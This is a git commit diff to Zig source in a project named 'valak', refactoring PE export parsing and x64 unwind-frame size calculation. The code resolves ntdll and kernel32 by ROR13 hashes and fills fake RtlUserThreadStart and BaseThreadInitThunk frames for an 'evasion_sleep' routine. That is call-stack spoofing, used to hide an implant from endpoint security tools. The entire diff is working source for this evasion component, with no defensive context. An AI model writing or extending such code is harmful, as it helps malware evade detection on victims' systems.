valak: asm arg1 fix, NT_SUCCESS i32, byte scan off-by-one, etw guids
This commit is contained in:
+33
-34
@@ -4,12 +4,14 @@
|
||||
const std = @import("std");
|
||||
const resolve = @import("resolve.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
const pe = @import("pe.zig");
|
||||
|
||||
extern var qFakeRtlUserThreadStart: usize;
|
||||
extern var qFakeBaseThreadInitThunk: usize;
|
||||
extern var qRtlUserFrameSize: usize;
|
||||
extern var qBaseThreadFrameSize: usize;
|
||||
|
||||
// x64 unwind opcodes from the PE/COFF spec.
|
||||
const UWOP_PUSH_NONVOL: u8 = 0;
|
||||
const UWOP_ALLOC_LARGE: u8 = 1;
|
||||
const UWOP_ALLOC_SMALL: u8 = 2;
|
||||
@@ -19,6 +21,7 @@ const UWOP_SAVE_NONVOL_FAR: u8 = 5;
|
||||
const UNW_FLAG_CHAININFO: u8 = 0x04;
|
||||
const RBP_OP_INFO: u8 = 5;
|
||||
|
||||
// Compute total frame size from .pdata UNWIND_INFO.
|
||||
fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) bool {
|
||||
const info = @as(*align(1) const extern struct {
|
||||
VersionAndFlags: u8,
|
||||
@@ -35,8 +38,8 @@ fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) boo
|
||||
|
||||
while (idx < info.CountOfCodes) : (idx += 1) {
|
||||
const code = info.UnwindCode[idx];
|
||||
const op = @as(u8, @truncate(code & 0xF));
|
||||
const info_field = @as(u8, @truncate((code >> 4) & 0xF));
|
||||
const op: u8 = @truncate(code & 0xF);
|
||||
const info_field: u8 = @truncate((code >> 4) & 0xF);
|
||||
|
||||
switch (op) {
|
||||
UWOP_PUSH_NONVOL => {
|
||||
@@ -73,7 +76,6 @@ fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) boo
|
||||
}
|
||||
}
|
||||
|
||||
// Chained unwind info
|
||||
if ((info.VersionAndFlags & UNW_FLAG_CHAININFO) != 0) {
|
||||
idx = info.CountOfCodes;
|
||||
if ((idx & 1) != 0) idx += 1;
|
||||
@@ -87,13 +89,13 @@ fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) boo
|
||||
return true;
|
||||
}
|
||||
|
||||
// Binary search .pdata for unwind entry covering the given RVA.
|
||||
// Binary search .pdata exception directory for the RUNTIME_FUNCTION covering target_rva.
|
||||
fn find_runtime_entry(target_rva: u32) ?struct { begin: u32, unwind: u32 } {
|
||||
const exc_begin = syscall.g_exc_begin;
|
||||
const exc_count = syscall.g_exc_count;
|
||||
if (exc_begin == 0 or exc_count == 0) return null;
|
||||
|
||||
const funcs = @as([*]align(1) const syscall.RUNTIME_FUNCTION, @ptrFromInt(exc_begin));
|
||||
const funcs: [*]align(1) const syscall.RUNTIME_FUNCTION = @ptrFromInt(exc_begin);
|
||||
var lo: usize = 0;
|
||||
var hi: usize = exc_count;
|
||||
while (lo < hi) {
|
||||
@@ -110,41 +112,37 @@ fn find_runtime_entry(target_rva: u32) ?struct { begin: u32, unwind: u32 } {
|
||||
return null;
|
||||
}
|
||||
|
||||
// Find the RVA of a named export in a module.
|
||||
fn export_rva(mod: [*]const u8, name: []const u8) ?u32 {
|
||||
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(mod)));
|
||||
const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(mod));
|
||||
if (dos.e_magic != 0x5A4D) return null;
|
||||
|
||||
const nt = @as(*align(1) extern struct {
|
||||
Signature: u32,
|
||||
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
|
||||
OptionalHeader: extern struct { Magic: u16, pad: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } },
|
||||
}, @ptrCast(@constCast(mod + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
if (nt.Signature != 0x00004550) return null;
|
||||
const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
|
||||
mod + @as(usize, @intCast(dos.e_lfanew)),
|
||||
));
|
||||
if (nt_hdrs.Signature != 0x00004550) return null;
|
||||
|
||||
const exp_dir = nt.OptionalHeader.DataDirectory[0];
|
||||
const exp_dir = nt_hdrs.OptionalHeader.DataDirectory[0];
|
||||
if (exp_dir.VirtualAddress == 0) return null;
|
||||
|
||||
const exp = @as(*align(1) extern struct {
|
||||
Characteristics: u32,
|
||||
TimeDateStamp: u32,
|
||||
MajorVersion: u16,
|
||||
MinorVersion: u16,
|
||||
Name: u32,
|
||||
Base: u32,
|
||||
NumberOfFunctions: u32,
|
||||
NumberOfNames: u32,
|
||||
AddressOfFunctions: u32,
|
||||
AddressOfNames: u32,
|
||||
AddressOfNameOrdinals: u32,
|
||||
}, @ptrCast(@constCast(mod + @as(usize, @intCast(exp_dir.VirtualAddress)))));
|
||||
const exp: *align(1) const pe.IMAGE_EXPORT_DIRECTORY = @ptrCast(@alignCast(
|
||||
mod + @as(usize, @intCast(exp_dir.VirtualAddress)),
|
||||
));
|
||||
|
||||
const names = @as([*]u32, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfNames))))));
|
||||
const funcs = @as([*]u32, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfFunctions))))));
|
||||
const ords = @as([*]u16, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfNameOrdinals))))));
|
||||
const names: [*]align(1) const u32 = @ptrCast(@alignCast(
|
||||
@as([*]const u8, @ptrCast(mod)) + exp.AddressOfNames,
|
||||
));
|
||||
const funcs: [*]align(1) const u32 = @ptrCast(@alignCast(
|
||||
@as([*]const u8, @ptrCast(mod)) + exp.AddressOfFunctions,
|
||||
));
|
||||
const ords: [*]align(1) const u16 = @ptrCast(@alignCast(
|
||||
@as([*]const u8, @ptrCast(mod)) + exp.AddressOfNameOrdinals,
|
||||
));
|
||||
|
||||
var i: u32 = 0;
|
||||
while (i < exp.NumberOfNames) : (i += 1) {
|
||||
const n = @as([*:0]const u8, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(names[i]))))));
|
||||
for (0..exp.NumberOfNames) |i| {
|
||||
const n: [*:0]const u8 = @ptrCast(@alignCast(
|
||||
@as([*]const u8, @ptrCast(mod)) + names[i],
|
||||
));
|
||||
if (std.mem.eql(u8, std.mem.sliceTo(n, 0), name)) {
|
||||
if (ords[i] < exp.NumberOfFunctions) {
|
||||
return funcs[ords[i]];
|
||||
@@ -154,13 +152,14 @@ fn export_rva(mod: [*]const u8, name: []const u8) ?u32 {
|
||||
return null;
|
||||
}
|
||||
|
||||
// Called once at DLL init. Results stored in asm globals used by evasion_sleep.
|
||||
pub fn init_frames() void {
|
||||
if (qFakeRtlUserThreadStart != 0) return;
|
||||
|
||||
const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return;
|
||||
const k32 = resolve.get_module_by_hash(resolve.hash_ror13("kernel32.dll")) orelse return;
|
||||
const ntdll_bytes = @as([*]const u8, @ptrCast(ntdll));
|
||||
const k32_bytes = @as([*]const u8, @ptrCast(k32));
|
||||
const ntdll_bytes: [*]const u8 = @ptrCast(ntdll);
|
||||
const k32_bytes: [*]const u8 = @ptrCast(k32);
|
||||
|
||||
const btit_rva = export_rva(k32_bytes, "BaseThreadInitThunk") orelse return;
|
||||
if (find_runtime_entry(btit_rva)) |entry| {
|
||||
|
||||
Reference in New Issue
Block a user